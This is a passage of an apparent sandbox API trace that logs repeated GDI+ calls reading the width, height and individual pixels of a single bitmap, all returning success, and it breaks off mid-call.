GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.142] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.142] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=60, color=0x540e3d0) returned 0x0 [0226.142] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.142] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.142] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=61, color=0x540e3d0) returned 0x0 [0226.142] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.142] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.142] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=62, color=0x540e3d0) returned 0x0 [0226.142] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.142] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.142] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=63, color=0x540e3d0) returned 0x0 [0226.142] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.142] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.142] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=64, color=0x540e3d0) returned 0x0 [0226.142] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.142] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.142] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=65, color=0x540e3d0) returned 0x0 [0226.142] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.142] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.142] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=66, color=0x540e3d0) returned 0x0 [0226.142] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.142] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.143] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=67, color=0x540e3d0) returned 0x0 [0226.143] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.143] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.143] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=68, color=0x540e3d0) returned 0x0 [0226.143] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.143] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.143] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=69, color=0x540e3d0) returned 0x0 [0226.143] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.143] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.143] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=70, color=0x540e3d0) returned 0x0 [0226.143] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.143] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.143] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=71, color=0x540e3d0) returned 0x0 [0226.143] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.143] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.143] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=72, color=0x540e3d0) returned 0x0 [0226.143] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.143] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.143] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=73, color=0x540e3d0) returned 0x0 [0226.143] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.143] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.143] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=74, color=0x540e3d0) returned 0x0 [0226.144] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.144] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.144] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=75, color=0x540e3d0) returned 0x0 [0226.144] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.144] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.144] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=76, color=0x540e3d0) returned 0x0 [0226.144] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.144] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.144] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=77, color=0x540e3d0) returned 0x0 [0226.144] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.144] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.144] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=78, color=0x540e3d0) returned 0x0 [0226.144] GdipGetImageHeight (image=0x4ae5600, height=0x540e3e4) returned 0x0 [0226.144] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.144] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.144] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=0, color=0x540e3d0) returned 0x0 [0226.144] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.144] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.144] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=1, color=0x540e3d0) returned 0x0 [0226.144] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.144] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.144] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=2, color=0x540e3d0) returned 0x0 [0226.144] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.145] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.145] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=3, color=0x540e3d0) returned 0x0 [0226.145] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.145] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.145] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=4, color=0x540e3d0) returned 0x0 [0226.145] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.145] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.145] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=5, color=0x540e3d0) returned 0x0 [0226.145] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.145] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.145] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=6, color=0x540e3d0) returned 0x0 [0226.145] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.145] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.145] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=7, color=0x540e3d0) returned 0x0 [0226.145] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.145] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.145] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=8, color=0x540e3d0) returned 0x0 [0226.145] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.145] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.145] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=9, color=0x540e3d0) returned 0x0 [0226.145] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.145] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.145] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=10, color=0x540e3d0) returned 0x0 [0226.145] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.145] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.145] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=11, color=0x540e3d0) returned 0x0 [0226.146] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.146] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.146] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=12, color=0x540e3d0) returned 0x0 [0226.146] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.146] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.146] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=13, color=0x540e3d0) returned 0x0 [0226.146] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.146] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.146] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=14, color=0x540e3d0) returned 0x0 [0226.146] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.146] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.146] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=15, color=0x540e3d0) returned 0x0 [0226.146] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.146] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.146] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=16, color=0x540e3d0) returned 0x0 [0226.146] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.146] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.147] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=17, color=0x540e3d0) returned 0x0 [0226.147] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.147] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.147] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=18, color=0x540e3d0) returned 0x0 [0226.147] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.147] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.147] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=19, color=0x540e3d0) returned 0x0 [0226.147] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.147] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.147] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=20, color=0x540e3d0) returned 0x0 [0226.147] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.147] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.147] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=21, color=0x540e3d0) returned 0x0 [0226.147] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.148] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.148] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=22, color=0x540e3d0) returned 0x0 [0226.148] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.148] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.148] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=23, color=0x540e3d0) returned 0x0 [0226.148] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.148] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.148] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=24, color=0x540e3d0) returned 0x0 [0226.148] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.148] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.148] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=25, color=0x540e3d0) returned 0x0 [0226.148] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.148] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.148] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=26, color=0x540e3d0) returned 0x0 [0226.148] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.148] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.148] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=27, color=0x540e3d0) returned 0x0 [0226.148] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.148] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.148] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=28, color=0x540e3d0) returned 0x0 [0226.148] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.148] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.148] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=29, color=0x540e3d0) returned 0x0 [0226.148] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.148] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.148] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=30, color=0x540e3d0) returned 0x0 [0226.149] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.149] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.149] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=31, color=0x540e3d0) returned 0x0 [0226.149] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.149] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.149] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=32, color=0x540e3d0) returned 0x0 [0226.149] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.149] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.149] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=33, color=0x540e3d0) returned 0x0 [0226.149] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.149] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.149] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=34, color=0x540e3d0) returned 0x0 [0226.149] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.149] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.149] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=35, color=0x540e3d0) returned 0x0 [0226.149] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.149] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.149] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=36, color=0x540e3d0) returned 0x0 [0226.149] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.149] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.149] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=37, color=0x540e3d0) returned 0x0 [0226.149] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.149] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.149] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=38, color=0x540e3d0) returned 0x0 [0226.149] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.149] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.150] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=39, color=0x540e3d0) returned 0x0 [0226.150] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.150] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.150] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=40, color=0x540e3d0) returned 0x0 [0226.150] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.150] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.150] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=41, color=0x540e3d0) returned 0x0 [0226.150] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.150] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.150] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=42, color=0x540e3d0) returned 0x0 [0226.150] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.150] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.150] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=43, color=0x540e3d0) returned 0x0 [0226.150] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.150] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.150] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=44, color=0x540e3d0) returned 0x0 [0226.150] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.150] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.150] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=45, color=0x540e3d0) returned 0x0 [0226.150] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.150] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.150] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=46, color=0x540e3d0) returned 0x0 [0226.150] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.150] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.150] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=47, color=0x540e3d0) returned 0x0 [0226.150] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.150] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.151] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=48, color=0x540e3d0) returned 0x0 [0226.151] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.151] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.151] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=49, color=0x540e3d0) returned 0x0 [0226.151] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.151] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.151] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=50, color=0x540e3d0) returned 0x0 [0226.151] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.151] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.151] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=51, color=0x540e3d0) returned 0x0 [0226.151] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.151] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.151] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=52, color=0x540e3d0) returned 0x0 [0226.151] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.151] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.151] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=53, color=0x540e3d0) returned 0x0 [0226.151] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.151] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.151] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=54, color=0x540e3d0) returned 0x0 [0226.151] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.151] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.151] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=55, color=0x540e3d0) returned 0x0 [0226.151] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.151] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.151] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=56, color=0x540e3d0) returned 0x0 [0226.151] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.151] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.151] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=57, color=0x540e3d0) returned 0x0 [0226.152] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.152] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.152] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=58, color=0x540e3d0) returned 0x0 [0226.152] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.152] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.152] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=59, color=0x540e3d0) returned 0x0 [0226.152] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.152] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.152] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=60, color=0x540e3d0) returned 0x0 [0226.152] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.152] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.152] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=61, color=0x540e3d0) returned 0x0 [0226.152] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.152] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.152] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=62, color=0x540e3d0) returned 0x0 [0226.152] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.152] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.152] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=63, color=0x540e3d0) returned 0x0 [0226.152] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.152] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.152] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=64, color=0x540e3d0) returned 0x0 [0226.152] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.152] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.152] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=65, color=0x540e3d0) returned 0x0 [0226.152] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.152] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.152] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=66, color=0x540e3d0) returned 0x0 [0226.153] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.153] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.153] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=67, color=0x540e3d0) returned 0x0 [0226.153] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.153] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.153] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=68, color=0x540e3d0) returned 0x0 [0226.153] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.153] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.153] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=69, color=0x540e3d0) returned 0x0 [0226.153] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.153] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.153] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=70, color=0x540e3d0) returned 0x0 [0226.153] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.153] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.153] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=71, color=0x540e3d0) returned 0x0 [0226.153] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.153] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.153] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=72, color=0x540e3d0) returned 0x0 [0226.153] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.153] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.153] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=73, color=0x540e3d0) returned 0x0 [0226.153] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.153] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.153] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=74, color=0x540e3d0) returned 0x0 [0226.153] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.153] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.153] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=75, color=0x540e3d0) returned 0x0 [0226.153] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.154] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.154] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=76, color=0x540e3d0) returned 0x0 [0226.154] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.154] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.154] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=77, color=0x540e3d0) returned 0x0 [0226.154] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.154] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.154] GdipBitmapGetPixel (bitmap=0x4ae5600, x=1, y=78, color=0x540e3d0) returned 0x0 [0226.154] GdipGetImageHeight (image=0x4ae5600, height=0x540e3e4) returned 0x0 [0226.154] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.154] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.154] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=0, color=0x540e3d0) returned 0x0 [0226.154] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.154] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.154] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=1, color=0x540e3d0) returned 0x0 [0226.154] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.154] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.154] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=2, color=0x540e3d0) returned 0x0 [0226.154] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.154] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.154] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, y=3, color=0x540e3d0) returned 0x0 [0226.154] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.154] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.154] GdipBitmapGetPixel (bitmap=0x4ae5600, x=2, 